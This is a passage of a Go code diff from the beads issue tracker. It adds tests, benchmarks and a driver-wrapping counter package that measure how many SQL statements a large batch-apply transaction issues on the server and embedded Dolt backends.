_, err := storage.PlanApplyBatch(tc.req); err != nil { + t.Fatalf("PlanApplyBatch: %v", err) + } + }) + } +} + +// TestShapeClassic40NoRootRequired documents that the classic shape, unlike +// the mol shapes, needs no pre-existing root issue. +func TestShapeClassic40NoRootRequired(t *testing.T) { + req := batchfixtures.ShapeClassic40("tester") + if _, err := storage.PlanApplyBatch(req); err != nil { + t.Fatalf("PlanApplyBatch: %v", err) + } +} diff --git a/internal/storage/batchfixtures/uncapped_plan.go b/internal/storage/batchfixtures/uncapped_plan.go new file mode 100644 index 000000000..b28e25083 --- /dev/null +++ b/internal/storage/batchfixtures/uncapped_plan.go @@ -0,0 +1,45 @@ +package batchfixtures + +import ( + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/issueops" +) + +// UncappedPlan builds a storage.ApplyBatchPlan directly from req, bypassing +// storage.PlanApplyBatch's issueops.MaxApplyBatchItems cap check. +// +// IT EXISTS SO B0's STATEMENT-COUNT MEASUREMENT CAN RUN BEFORE B1 RAISES THE +// CAP. issueops.ApplyBatchInTx itself enforces no item-count limit — the +// limit is a request-validation POLICY that PlanApplyBatch applies before a +// plan ever reaches ApplyBatchInTx — so measuring ApplyBatchInTx's real +// statement count on a 356- or 712-item plan is a true measurement of the +// mechanism either way. Routing it through this helper rather than +// PlanApplyBatch means the B0 measurement commit does not have to be +// sequenced after, or squashed with, the B1 commit that raises the cap. +// +// It replicates PlanApplyBatch's key-index construction — the one piece of +// its output ApplyBatchInTx's own key resolution depends on — but NONE of +// its other validation (ref ordering, guard rules, edge-metadata +// normalization). A caller building a request for this helper must already +// satisfy every other rule PlanApplyBatch checks; every shape in this +// package does, which TestShapeItemCounts confirms for the one shape +// (ShapeClassic40) small enough to run through PlanApplyBatch directly under +// the current, pre-B1 cap. +func UncappedPlan(req issueops.ApplyBatchRequest) storage.ApplyBatchPlan { + keyIndex := make(map[string]int, len(req.Items)) + for i, item := range req.Items { + if item.Kind == issueops.ItemCreate && item.Create != nil && item.Create.Key != "" { + keyIndex[item.Create.Key] = i + } + } + items := make([]issueops.ApplyItem, len(req.Items)) + copy(items, req.Items) + return storage.ApplyBatchPlan{ + Actor: req.Actor, + Provenance: req.Provenance, + ForceIDPrefix: req.ForceIDPrefix, + SkipPerEdgeCycleCheck: req.SkipPerEdgeCycleCheck, + Items: items, + KeyIndex: keyIndex, + } +} diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index f39bc8370..8183faa64 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -260,6 +260,7 @@ go_test( "keyset_search_test.go", "label_rename_test.go", "labels_test.go", + "large_batch_apply_measure_test.go", "lease_migration_test.go", "lease_test.go", "lenient_open_dirty_tables_integration_test.go", @@ -384,6 +385,7 @@ go_test( "//internal/doltserver", "//internal/githooksenv", "//internal/storage", + "//internal/storage/batchfixtures", "//internal/storage/dberrors", "//internal/storage/depid", "//internal/storage/doltutil", @@ -393,6 +395,7 @@ go_test( "//internal/storage/rowid", "//internal/storage/schema", "//internal/storage/sqlbuild", + "//internal/storage/sqlcount", "//internal/storage/storagecontract", "//internal/storage/versioncontrolops", "//internal/testutil", diff --git a/internal/storage/dolt/large_batch_apply_measure_test.go b/internal/storage/dolt/large_batch_apply_measure_test.go new file mode 100644 index 000000000..e8714ba28 --- /dev/null +++ b/internal/storage/dolt/large_batch_apply_measure_test.go @@ -0,0 +1,199 @@ +package dolt + +// Measure the ACTUAL number of SQL statements issueops.ApplyBatchInTx issues +// on the Dolt server (TCP) backend, for three measured plan shapes. See +// internal/storage/embeddeddolt/large_batch_apply_measure_test.go for the +// embedded backend equivalent, and internal/storage/batchfixtures for the +// shared, backend-agnostic plan construction. +// +// This file opens a SECOND, counting-wrapped connection using the same +// mysql.Config a normal *DoltStore already parsed from its own connStr +// (store.connStr, set by newServerMode/openServerConnection) — because +// issueops.ApplyBatchInTx takes a concrete *sql.Tx and the store's own pool +// is not wrapped. It is package dolt (not dolt_test) specifically to reach +// that unexported field, the same way dolt_test.go's own helpers already do. + +import ( + "context" + "database/sql" + "testing" + + mysql "github.com/go-sql-driver/mysql" + + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + + "github.com/steveyegge/beads/internal/storage/batchfixtures" + "github.com/steveyegge/beads/internal/storage/sqlcount" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// openCountedDoltConn opens a second, counting-wrapped connection to the +// same Dolt server database an already-open *DoltStore is using, by +// re-parsing that store's own connStr. MaxOpenConns is pinned to 1 so every +// statement observed goes over one physical connection — matching how +// ApplyBatchInTx itself runs entirely inside one *sql.Tx on one connection. +func openCountedDoltConn(connStr string, counts *sqlcount.Counts) (*sql.DB, func(), error) { + cfg, err := mysql.ParseDSN(connStr) + if err != nil { + return nil, nil, err + } + connector, err := mysql.NewConnector(cfg) + if err != nil { + return nil, nil, err + } + db := sql.OpenDB(sqlcount.WrapConnector(connector, counts)) + db.SetMaxOpenConns(1) + db.SetMaxIdleConns(1) + return db, func() { db.Close() }, nil +} + +// measureDoltApply builds plan via batchfixtures.UncappedPlan (bypassing +// issueops.MaxApplyBatchItems, see uncapped_plan.go), runs it through +// issueops.ApplyBatchInTx inside one transaction on a fresh counted +// connection, and returns the statement-count snapshot. counts.Reset() is +// called immediately before BeginTx so the snapshot reflects only the +// transaction itself, not connection setup. +func measureDoltApply(ctx context.Context, connStr, rootID string, counts *sqlcount.Counts, build func(rootID string) issueops.ApplyBatchRequest) (sqlcount.Snapshot, error) { + db, closeDB, err := openCountedDoltConn(connStr, counts) + if err != nil { + return sqlcount.Snapshot{}, err + } + defer closeDB() + + plan := batchfixtures.UncappedPlan(build(rootID)) + + counts.Reset() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + return sqlcount.Snapshot{}, err + } + if _, _, err := storageissueops.ApplyBatchInTx(ctx, tx, plan); err != nil { + _ = tx.Rollback() + return sqlcount.Snapshot{}, err + } + if err := tx.Commit(); err != nil { + return sqlcount.Snapshot{}, err + } + return counts.Snapshot(), nil +} + +// largeBatchApplyDoltShapes mirrors embeddeddolt's largeBatchApplyShapes: +// the three shapes the design measures, plus a per-shape database name (this +// backend uses one fresh throwaway database per shape via +// setupConcurrentTestStore, not a directory clone). +var largeBatchApplyDoltShapes = []struct { + name string + build func(rootID string) issueops.ApplyBatchRequest +}{ + { + name: "356 (mol 1x)", + build: func(rootID string) issueops.ApplyBatchRequest { + return batchfixtures.Shape356("tester", rootID) + }, + }, + { + name: "712 (mol 2x)", + build: func(rootID string) issueops.ApplyBatchRequest { + return batchfixtures.Shape712("tester", rootID) + }, + }, + { + name: "40 (classic)", + build: func(string) issueops.ApplyBatchRequest { + return batchfixtures.ShapeClassic40("tester") + }, + }, +} + +// TestLargeBatchApplyStatementCounts_Dolt pins the ACTUAL number of SQL +// statements issueops.ApplyBatchInTx issues on the Dolt server (TCP) +// backend, for each of three measured shapes. Sibling regression baseline to +// TestLargeBatchApplyStatementCounts_Embedded in the embeddeddolt package — +// see that test's doc comment for why counts are pinned with a small +// tolerance rather than exactly, and why a drift beyond it should be +// re-measured and re-pinned deliberately rather than loosened further. +func TestLargeBatchApplyStatementCounts_Dolt(t *testing.T) { + ctx := context.Background() + + for _, tc := range largeBatchApplyDoltShapes { + t.Run(tc.name, func(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, root, "tester"); err != nil { + t.Fatalf("create root issue: %v", err) + } + + var counts sqlcount.Counts + got, err := measureDoltApply(ctx, store.connStr, root.ID, &counts, tc.build) + if err != nil { + t.Fatalf("measureDoltApply: %v", err) + } + t.Logf("dolt %s: Prepare=%d Exec=%d Query=%d StmtExec=%d StmtQuery=%d Total=%d", + tc.name, got.Prepare, got.Exec, got.Query, got.StmtExec, got.StmtQuery, got.Total()) + + want, ok := pinnedDoltStatementCounts[tc.name] + if !ok { + t.Fatalf("no pinned count for shape %q; run with -v, read the logged Total, and add it to pinnedDoltStatementCounts", tc.name) + } + diff := got.Total() - want + if diff < 0 { + diff = -diff + } + if diff > statementCountToleranceDolt { + t.Errorf("dolt %s: Total() = %d, want pinned %d +/- %d (see large_batch_apply_measure_test.go)", + tc.name, got.Total(), want, statementCountToleranceDolt) + } + }) + } +} + +// statementCountToleranceDolt mirrors embeddeddolt's statementCountTolerance: +// a narrow allowance for occasional host-contention-driven retry polling, +// not a license to loosen a real drift. See that constant's doc comment. +const statementCountToleranceDolt = 2 + +// pinnedDoltStatementCounts is the B0 regression baseline for the Dolt +// server (TCP) backend: the Total() statement count issueops.ApplyBatchInTx +// issued for each measured shape, as last observed on this branch. B2 must +// lower these; a change for any other reason should be re-measured and +// re-pinned deliberately, not adjusted to make a failure go away. +var pinnedDoltStatementCounts = map[string]int64{ + "356 (mol 1x)": 7008, + "712 (mol 2x)": 14014, + "40 (classic)": 846, +} + +// BenchmarkLargeBatchApply_Dolt is gated by setupBenchStore's own +// BEADS_BENCH_DOLT_PORT opt-in (benchDoltServerPort) — never resolved from +// ambient BEADS_DOLT_SERVER_PORT/BEADS_DOLT_PORT, which a gc agent shell may +// point at a shared production server (be-cfm3z). +func BenchmarkLargeBatchApply_Dolt(b *testing.B) { + for _, tc := range largeBatchApplyDoltShapes { + b.Run(tc.name, func(b *testing.B) { + store, cleanup := setupBenchStore(b) + defer cleanup() + + ctx := context.Background() + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, root, "bench"); err != nil { + b.Fatalf("create root issue: %v", err) + } + + var counts sqlcount.Counts + var lastTotal int64 + b.ResetTimer() + for i := 0; i < b.N; i++ { + got, err := measureDoltApply(ctx, store.connStr, root.ID, &counts, tc.build) + if err != nil { + b.Fatalf("measureDoltApply: %v", err) + } + lastTotal = got.Total() + } + b.StopTimer() + b.ReportMetric(float64(lastTotal), "statements/op") + }) + } +} diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 1adcaccf5..40ed1ab76 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -158,6 +158,7 @@ go_test( "journal_truncation_test.go", "label_list_all_benchmark_test.go", "label_rename_test.go", + "large_batch_apply_measure_test.go", "lease_replica_test.go", "lease_test.go", "lenient_gate_warning_test.go", @@ -228,6 +229,7 @@ go_test( "//internal/eventsjournal", "//internal/hooks", "//internal/storage", + "//internal/storage/batchfixtures", "//internal/storage/dberrors", "//internal/storage/depid", "//internal/storage/doltutil", @@ -235,15 +237,18 @@ go_test( "//internal/storage/externaldeps", "//internal/storage/issueops", "//internal/storage/schema", + "//internal/storage/sqlcount", "//internal/storage/storagecontract", "//internal/storage/versioncontrolops", "//internal/testutil/bazeltest", "//internal/types", "//internal/workapi", "//issueops", + "@com_github_cenkalti_backoff_v4//:backoff", "@com_github_data_dog_go_sqlmock//:go-sqlmock", "@com_github_dolthub_dolt_go//libraries/doltcore/dbfactory", "@com_github_dolthub_dolt_go//store/blobstore", + "@com_github_dolthub_driver_v2//:driver", "@com_github_google_uuid//:uuid", "@org_golang_x_sync//errgroup", ], @@ -262,15 +267,18 @@ go_test( sh_test( name = "embeddeddolt_embedded_test", size = "large", - # The script gives the binary the job's -test.timeout=15m per shard; it - # fires (with a goroutine dump) well before Bazel's 1200s action limit - # (eternal under --config=embedded). The job itself also stops at 15m. + # The script gives the binary the job's -test.timeout=20m, as long as + # Bazel's 1200s action limit (eternal under --config=embedded), which + # starts earlier and kills without a goroutine dump (rules_go's wrapper + # ignores the SIGTERM). The trailing -test.timeout=19m overrides it (the + # last flag wins) so Go's own timeout fires first and dumps to test.log. timeout = "eternal", srcs = ["//tools/bazel:go_test_manifest_shard.sh"], args = [ "$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)", + "-test.timeout=19m", ], data = [ ":embeddeddolt_test", diff --git a/internal/storage/embeddeddolt/large_batch_apply_measure_test.go b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go new file mode 100644 index 000000000..5678b3d3c --- /dev/null +++ b/internal/storage/embeddeddolt/large_batch_apply_measure_test.go @@ -0,0 +1,369 @@ +//go:build cgo + +package embeddeddolt_test + +// B0: measure the ACTUAL number of SQL statements issueops.ApplyBatchInTx +// issues on the embedded Dolt backend, for three measured plan shapes. See +// internal/storage/dolt/large_batch_apply_measure_test.go for the Dolt +// server (TCP) backend equivalent, and internal/storage/batchfixtures for +// the shared, backend-agnostic plan construction. +// +// This file opens a SECOND, counting-wrapped connection against an on-disk +// embedded directory a normal *EmbeddedDoltStore already migrated — exactly +// the pattern testEnv.exec/queryScalar in create_issue_test.go use for raw +// verification queries — because issueops.ApplyBatchInTx takes a concrete +// *sql.Tx and the store's own connections are not wrapped. It duplicates +// open.go's buildDSN rather than modifying OpenSQL to accept a connector +// hook: that would add a test-only seam to a production construction path +// for the sake of one measurement harness. + +import ( + "context" + "database/sql" + "net/url" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/cenkalti/backoff/v4" + doltembed "github.com/dolthub/driver/v2" + + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" + + "github.com/steveyegge/beads/internal/storage/batchfixtures" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/sqlcount" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// measureCommitName/measureCommitEmail mirror open.go's commitName/commitEmail, +// duplicated because those are unexported. +const ( + measureCommitName = "beads" + measureCommitEmail = "beads@local" +) + +// measureDSN replicates open.go's buildDSN for a raw, counting-wrapped +// connection to an already-migrated embedded directory. +func measureDSN(dir, database string) string { + v := url.Values{} + v.Set(doltembed.CommitNameParam, measureCommitName) + v.Set(doltembed.CommitEmailParam, measureCommitEmail) + v.Set(doltembed.MultiStatementsParam, "true") + if strings.TrimSpace(database) != "" { + v.Set(doltembed.DatabaseParam, database) + } + path := dir + if os.PathSeparator == '\\' { + path = strings.ReplaceAll(path, `\`, `/`) + } + return "file://" + path + "?" + v.Encode() +} + +// openCountedConn opens a counting-wrapped *sql.DB against dataDir and USEs +// database on it. The returned cleanup closes both the db and the +// connector; the caller drives transactions on the returned db itself. +func openCountedConn(ctx context.Context, dataDir, database string, counts *sqlcount.Counts) (*sql.DB, func(), error) { + cfg, err := doltembed.ParseDSN(measureDSN(dataDir, database)) + if err != nil { + return nil, nil, err + } + bo := backoff.NewExponentialBackOff() + bo.MaxElapsedTime = 0 + bo.MaxInterval = 5 * time.Second + cfg.BackOff = bo + + connector, err := doltembed.NewConnector(cfg) + if err != nil { + return nil, nil, err + } + wrapped := sqlcount.WrapConnector(connector, counts) + db := sql.OpenDB(wrapped) + // A single connection: PrepareContext/BeginTx on this db must land on + // the same embedded session for USE below to still apply when the + // measured transaction begins. + db.SetMaxOpenConns(1) + db.SetMaxIdleConns(1) + + cleanup := func() { + _ = db.Close() + _ = connector.Close() + } + + if err := db.PingContext(ctx); err != nil { + cleanup() + return nil, nil, err + } + if _, err := db.ExecContext(ctx, "USE `"+database+"`"); err != nil { + cleanup() + return nil, nil, err + } + return db, cleanup, nil +} + +// measureApply runs build(rootID) through issueops.ApplyBatchInTx on a +// counting-wrapped connection to dataDir/database — which must already be a +// migrated embedded Dolt database containing an issue at rootID, or "" if +// the shape needs no root (ShapeClassic40) — and returns the resulting +// statement counts. Everything before the returned counts.Reset() point is +// setup and excluded; only the transaction ApplyBatchInTx runs inside is +// measured. +func measureApply(ctx context.Context, dataDir, database, rootID string, build func(rootID string) issueops.ApplyBatchRequest) (sqlcount.Snapshot, error) { + counts := &sqlcount.Counts{} + db, cleanup, err := openCountedConn(ctx, dataDir, database, counts) + if err != nil { + return sqlcount.Snapshot{}, err + } + defer cleanup() + + plan := batchfixtures.UncappedPlan(build(rootID)) + counts.Reset() + + tx, err := db.BeginTx(ctx, nil) + if err != nil { + return sqlcount.Snapshot{}, err + } + if _, _, err := storageissueops.ApplyBatchInTx(ctx, tx, plan); err != nil { + _ = tx.Rollback() + return sqlcount.Snapshot{}, err + } + if err := tx.Commit(); err != nil { + return sqlcount.Snapshot{}, err + } + return counts.Snapshot(), nil +} + +// largeBatchApplyShapes is the design's three measured shapes, shared by the +// pinning test and the benchmark below. +var largeBatchApplyShapes = []struct { + name string + db string + build func(rootID string) issueops.ApplyBatchRequest +}{ + { + name: "356 (mol 1x)", + db: "m356", + build: func(rootID string) issueops.ApplyBatchRequest { + return batchfixtures.Shape356("tester", rootID) + }, + }, + { + name: "712 (mol 2x)", + db: "m712", + build: func(rootID string) issueops.ApplyBatchRequest { + return batchfixtures.Shape712("tester", rootID) + }, + }, + { + name: "40 (classic)", + db: "mclassic", + build: func(string) issueops.ApplyBatchRequest { + return batchfixtures.ShapeClassic40("tester") + }, + }, +} + +// TestLargeBatchApplyStatementCounts_Embedded pins the ACTUAL number of SQL +// statements issueops.ApplyBatchInTx issues on the embedded backend, for +// each of three measured shapes (slice B0). It is a REGRESSION BASELINE for +// B2 (a later, lighter fast +// path): B2 must lower these numbers, and this test is what proves it did. +// +// The exact counts are backend- and Dolt-version-sensitive by nature — they +// come from real driver round trips, not a cost model — so a failure here +// after an unrelated Dolt/driver upgrade is expected and should be +// re-pinned with a note in the commit, not silently loosened to a range. +// +// statementCountTolerance absorbs one narrow, observed source of +// non-determinism: under host contention, the embedded engine occasionally +// issues one extra (or one fewer) internal Query round trip on the largest +// shape — most likely a lock-wait/retry poll, since the exact same input +// plan otherwise executes identically. Exec was observed PERFECTLY +// deterministic across >10 repeated runs of every shape; only Query ever +// moved, and only by 1, and only occasionally (roughly 1 run in 9 on the +// 356-item shape; 712 and classic-40 were never observed to vary). A wider +// drift than this tolerance is a real regression/improvement, not jitter, +// and must be re-measured and re-pinned deliberately. +const statementCountTolerance = 2 + +func TestLargeBatchApplyStatementCounts_Embedded(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + + for _, tc := range largeBatchApplyShapes { + t.Run(tc.name, func(t *testing.T) { + fixture := newPristineEmbeddedDoltFixture(t, tc.db) + t.Cleanup(func() { closeEmbeddedDoltStore(t, fixture.store) }) + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := fixture.store.CreateIssue(ctx, root, "tester"); err != nil { + t.Fatalf("create root issue: %v", err) + } + + got, err := measureApply(ctx, fixture.dataDir, fixture.database, root.ID, tc.build) + if err != nil { + t.Fatalf("measureApply: %v", err) + } + t.Logf("embedded %s: Prepare=%d Exec=%d Query=%d StmtExec=%d StmtQuery=%d Total=%d", + tc.name, got.Prepare, got.Exec, got.Query, got.StmtExec, got.StmtQuery, got.Total()) + + want, ok := pinnedEmbeddedStatementCounts[tc.name] + if !ok { + t.Fatalf("no pinned count for shape %q; run with -v, read the logged Total, and add it to pinnedEmbeddedStatementCounts", tc.name) + } + diff := got.Total() - want + if diff < 0 { + diff = -diff + } + if diff > statementCountTolerance { + t.Errorf("embedded %s: Total() = %d, want pinned %d +/- %d (see large_batch_apply_measure_test.go)", + tc.name, got.Total(), want, statementCountTolerance) + } + }) + } +} + +// wallClockShapes is the coordinator's item-8 ask: real wall-clock numbers at +// 356 items (the design doc's primary measured shape) and 1000 items (the +// hard cap, issueops.MaxApplyBatchItems) — not just statement counts — so the +// server's --large-apply-ceiling default (5 minutes) is backed by an actual +// measurement at the top of the envelope, not only extrapolated from smaller +// shapes. +var wallClockShapes = []struct { + name string + db string + build func(rootID string) issueops.ApplyBatchRequest +}{ + {name: "356", db: "wc356", build: func(rootID string) issueops.ApplyBatchRequest { + return batchfixtures.Shape356("tester", rootID) + }}, + {name: "1000", db: "wc1000", build: func(rootID string) issueops.ApplyBatchRequest { + return batchfixtures.Shape1000("tester", rootID) + }}, +} + +// TestLargeBatchApplyWallClock_Embedded measures (and simply logs, rather +// than asserting a bound on) how long issueops.ApplyBatchInTx actually takes +// on the embedded backend at 356 and 1000 items. It is deliberately NOT a +// pass/fail regression gate — wall-clock time is host- and CI-runner- +// sensitive in a way statement counts are not — but the numbers it logs are +// the real-data justification for httpapi.DefaultLargeApplyCeiling +// (internal/httpapi/server.go, 5 minutes): both measured shapes must +// complete in a small fraction of that budget for the ceiling to be +// generous headroom rather than a number picked out of thin air. +func TestLargeBatchApplyWallClock_Embedded(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + + for _, tc := range wallClockShapes { + t.Run(tc.name, func(t *testing.T) { + fixture := newPristineEmbeddedDoltFixture(t, tc.db) + t.Cleanup(func() { closeEmbeddedDoltStore(t, fixture.store) }) + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := fixture.store.CreateIssue(ctx, root, "tester"); err != nil { + t.Fatalf("create root issue: %v", err) + } + + plan := tc.build(root.ID) + db, cleanup, err := openCountedConn(ctx, fixture.dataDir, fixture.database, &sqlcount.Counts{}) + if err != nil { + t.Fatalf("openCountedConn: %v", err) + } + defer cleanup() + + uncapped := batchfixtures.UncappedPlan(plan) + start := time.Now() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + if _, _, err := storageissueops.ApplyBatchInTx(ctx, tx, uncapped); err != nil { + _ = tx.Rollback() + t.Fatalf("ApplyBatchInTx: %v", err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("Commit: %v", err) + } + elapsed := time.Since(start) + + t.Logf("embedded wall-clock: %s items (%d actual) = %s (DefaultLargeApplyCeiling headroom: %.1fx)", + tc.name, len(plan.Items), elapsed, (5*time.Minute).Seconds()/elapsed.Seconds()) + }) + } +} + +// pinnedEmbeddedStatementCounts is the B0 regression baseline for the +// embedded backend: the Total() statement count issueops.ApplyBatchInTx +// issued for each measured shape, as last observed on this branch. B2 must +// lower these; a change for any other reason should be re-measured and +// re-pinned deliberately, not adjusted to make a failure go away. +var pinnedEmbeddedStatementCounts = map[string]int64{ + "356 (mol 1x)": 7009, + "712 (mol 2x)": 14014, + "40 (classic)": 846, +} + +// BenchmarkLargeBatchApply_Embedded benchmarks issueops.ApplyBatchInTx on +// the embedded backend for each measured shape and reports the statement +// count alongside the usual timing, via b.ReportMetric. Each iteration +// builds and migrates a fresh, throwaway embedded database — not the +// pristine-template-clone fixture the *_test.go suite uses, because that +// helper is *testing.T-only — so per-iteration time includes that setup; +// -benchtime=Nx therefore matters more than a wall-clock target here. +func BenchmarkLargeBatchApply_Embedded(b *testing.B) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + b.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt benchmarks") + } + ctx := context.Background() + + for _, shape := range largeBatchApplyShapes { + b.Run(shape.name, func(b *testing.B) { + var totalStatements int64 + for i := 0; i < b.N; i++ { + b.StopTimer() + beadsDir, err := os.MkdirTemp("", "beads-bench-embedded-*") + if err != nil { + b.Fatalf("MkdirTemp: %v", err) + } + store, err := embeddeddolt.Open(ctx, beadsDir, shape.db, "main") + if err != nil { + os.RemoveAll(beadsDir) + b.Fatalf("Open: %v", err) + } + if err := store.SetConfig(ctx, "issue_prefix", shape.db); err != nil { + store.Close() + os.RemoveAll(beadsDir) + b.Fatalf("SetConfig: %v", err) + } + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, root, "tester"); err != nil { + store.Close() + os.RemoveAll(beadsDir) + b.Fatalf("create root issue: %v", err) + } + dataDir := filepath.Join(beadsDir, "embeddeddolt") + b.StartTimer() + + got, err := measureApply(ctx, dataDir, shape.db, root.ID, shape.build) + + b.StopTimer() + if err != nil { + store.Close() + os.RemoveAll(beadsDir) + b.Fatalf("measureApply: %v", err) + } + totalStatements += got.Total() + store.Close() + os.RemoveAll(beadsDir) + b.StartTimer() + } + if b.N > 0 { + b.ReportMetric(float64(totalStatements)/float64(b.N), "statements/op") + } + }) + } +} diff --git a/internal/storage/sqlcount/BUILD.bazel b/internal/storage/sqlcount/BUILD.bazel new file mode 100644 index 000000000..66d03210a --- /dev/null +++ b/internal/storage/sqlcount/BUILD.bazel @@ -0,0 +1,21 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "sqlcount", + srcs = ["sqlcount.go"], + importpath = "github.com/steveyegge/beads/internal/storage/sqlcount", + visibility = ["//:__subpackages__"], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- diff --git a/internal/storage/sqlcount/sqlcount.go b/internal/storage/sqlcount/sqlcount.go new file mode 100644 index 000000000..958a6b76a --- /dev/null +++ b/internal/storage/sqlcount/sqlcount.go @@ -0,0 +1,417 @@ +// Package sqlcount wraps a database/sql/driver.Connector so a test or +// benchmark can count how many SQL statements a code path actually issues +// against a real driver, and optionally inject artificial per-statement +// latency to approximate a database that is not co-located with the caller. +// +// It exists for the large-batch-apply measurement work: issueops.ApplyBatchInTx +// takes a concrete *sql.Tx, not an interface, so the only seam available to +// count its real round trips is the database/sql/driver boundary itself. Wrapping the +// driver.Connector a backend already builds — mysql.NewConnector for the Dolt +// server backend, doltembed.NewConnector for the embedded backend — is the +// one construction point both backends share, so one wrapper measures both +// without touching either driver or any production code path. +package sqlcount + +import ( + "context" + "database/sql/driver" + "fmt" + "sync/atomic" + "time" +) + +// Counts tracks how many times each driver entry point that represents one +// SQL statement or round trip fired. The zero value is ready to use. Safe +// for concurrent use. +type Counts struct { + prepare int64 + exec int64 + query int64 + stmtExec int64 + stmtQuery int64 + begin int64 + commit int64 + rollback int64 +} + +// Snapshot is a point-in-time, plain copy of Counts, safe to diff, log or +// assert on without synchronization. +type Snapshot struct { + Prepare int64 + Exec int64 + Query int64 + StmtExec int64 + StmtQuery int64 + Begin int64 + Commit int64 + Rollback int64 +} + +// Total is every round trip this wrapper attributes to an executed SQL +// statement: a Prepare, a driver-level Exec/Query issued without a separate +// prepare, or an Exec/Query against an already-prepared statement. Begin, +// Commit and Rollback are reported on Snapshot but excluded here, because a +// caller measuring one transaction's BODY (issueops.ApplyBatchInTx, for +// instance) opens and closes that transaction outside the measured window. +func (s Snapshot) Total() int64 { + return s.Prepare + s.Exec + s.Query + s.StmtExec + s.StmtQuery +} + +// Sub returns the per-field difference s-prior, for isolating one call's +// contribution on a longer-lived connection. +func (s Snapshot) Sub(prior Snapshot) Snapshot { + return Snapshot{ + Prepare: s.Prepare - prior.Prepare, + Exec: s.Exec - prior.Exec, + Query: s.Query - prior.Query, + StmtExec: s.StmtExec - prior.StmtExec, + StmtQuery: s.StmtQuery - prior.StmtQuery, + Begin: s.Begin - prior.Begin, + Commit: s.Commit - prior.Commit, + Rollback: s.Rollback - prior.Rollback, + } +} + +// Snapshot reads every counter. The read is not atomic ACROSS fields — a +// concurrent writer could interleave between two loads — which matches every +// other multi-atomic snapshot in this tree taken for one log line or report. +func (c *Counts) Snapshot() Snapshot { + return Snapshot{ + Prepare: atomic.LoadInt64(&c.prepare), + Exec: atomic.LoadInt64(&c.exec), + Query: atomic.LoadInt64(&c.query), + StmtExec: atomic.LoadInt64(&c.stmtExec), + StmtQuery: atomic.LoadInt64(&c.stmtQuery), + Begin: atomic.LoadInt64(&c.begin), + Commit: atomic.LoadInt64(&c.commit), + Rollback: atomic.LoadInt64(&c.rollback), + } +} + +// Reset zeroes every counter, for reuse across benchmark iterations. +func (c *Counts) Reset() { + atomic.StoreInt64(&c.prepare, 0) + atomic.StoreInt64(&c.exec, 0) + atomic.StoreInt64(&c.query, 0) + atomic.StoreInt64(&c.stmtExec, 0) + atomic.StoreInt64(&c.stmtQuery, 0) + atomic.StoreInt64(&c.begin, 0) + atomic.StoreInt64(&c.commit, 0) + atomic.StoreInt64(&c.rollback, 0) +} + +// Total is c.Snapshot().Total(), for a caller that wants one number without +// composing the two calls. +func (c *Counts) Total() int64 { return c.Snapshot().Total() } + +// options carries WrapConnector's optional behavior. +type options struct { + latency time.Duration +} + +// Option configures WrapConnector. +type Option func(*options) + +// WithLatency injects a sleep before every counted round trip — Prepare, +// Exec, Query, a prepared statement's Exec/Query, Begin, Commit and Rollback +// alike — so a co-located backend can approximate the wall-clock cost of a +// database that is NOT co-located with the caller. It respects the caller's +// context: a canceled or expired context aborts the sleep and returns the +// context's error rather than padding out a call that is already doomed. +func WithLatency(d time.Duration) Option { + return func(o *options) { o.latency = d } +} + +// WrapConnector wraps inner so every statement-shaped call on the +// connections it hands out increments counts, and optionally sleeps first. +// inner is the driver.Connector a backend already constructs +// (mysql.NewConnector for the Dolt server backend, doltembed.NewConnector +// for the embedded backend); wrapping it rather than registering a new +// driver under a new name is what lets a test open a SECOND, counted +// connection against the SAME already-migrated embedded directory or the +// SAME live Dolt server a backend's own store already opened, so the +// production open/migrate path never has to know this wrapper exists. +func WrapConnector(inner driver.Connector, counts *Counts, opts ...Option) driver.Connector { + o := &options{} + for _, opt := range opts { + opt(o) + } + return &wrappedConnector{inner: inner, counts: counts, opts: o} +} + +type wrappedConnector struct { + inner driver.Connector + counts *Counts + opts *options +} + +func (c *wrappedConnector) Connect(ctx context.Context) (driver.Conn, error) { + inner, err := c.inner.Connect(ctx) + if err != nil { + return nil, err + } + return &wrappedConn{inner: inner, counts: c.counts, opts: c.opts}, nil +} + +func 